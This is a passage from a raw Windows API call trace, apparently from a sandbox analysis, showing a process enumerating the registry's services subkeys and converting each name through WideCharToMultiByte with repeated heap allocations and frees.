Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.650] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.650] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.650] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0247.650] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.650] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.650] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.650] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.650] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0247.650] RegCloseKey (hKey=0xc4) returned 0x0 [0247.650] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0247.650] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.650] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0247.650] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f19b8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0247.651] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.651] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.651] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.651] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.651] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0247.651] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0247.651] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f18e0, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0247.651] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.651] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.651] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.651] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.651] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0247.651] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0247.651] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f19b8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0247.651] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.651] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.651] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.651] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.651] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0247.651] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0247.651] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f18e0, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0247.651] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.651] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.651] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.652] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.652] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0247.652] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.652] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0247.652] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.652] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f19b8, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0247.652] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.652] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.652] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.652] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.652] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0247.652] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.652] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0247.652] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.652] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f18e0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0247.652] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.652] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.652] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.652] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.652] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0247.652] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.652] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0247.652] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.652] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f19b8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0247.652] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.652] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.652] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.652] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.652] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0247.652] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.652] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.652] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.653] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0247.653] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.653] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.653] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.653] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.653] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0247.653] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.653] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0247.653] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.653] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f19b8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0247.653] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.653] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.653] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.653] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.653] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0247.653] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.653] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.653] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.653] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0247.653] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.653] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.653] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.653] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.653] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0247.653] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.653] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0247.653] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.653] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f19b8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0247.653] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.653] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.653] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.653] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.654] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0247.654] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.654] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.654] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.654] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0247.654] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.654] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.654] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.654] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.654] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0247.654] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.654] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.654] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.654] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f19b8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0247.654] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.654] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.654] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.654] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.654] RegEnumKeyW (in: hKey=0x154, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0247.654] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.654] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.654] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.654] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0247.654] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.654] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.654] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.654] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.654] RegEnumKeyW (in: hKey=0x154, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0247.654] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.654] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0247.654] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.654] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f19b8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0247.655] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.655] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.655] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.655] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.655] RegEnumKeyW (in: hKey=0x154, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0247.655] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0247.655] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f18e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0247.655] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.655] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.655] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.655] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.655] RegEnumKeyW (in: hKey=0x154, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0247.655] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0247.655] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f19b8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0247.655] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.655] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.655] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.655] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.655] RegEnumKeyW (in: hKey=0x154, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0247.655] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0247.655] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0247.655] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.655] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.655] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.655] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.655] RegEnumKeyW (in: hKey=0x154, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0247.656] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0247.656] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f19b8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0247.656] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.656] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.656] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.656] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.656] RegEnumKeyW (in: hKey=0x154, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0247.656] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0247.656] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 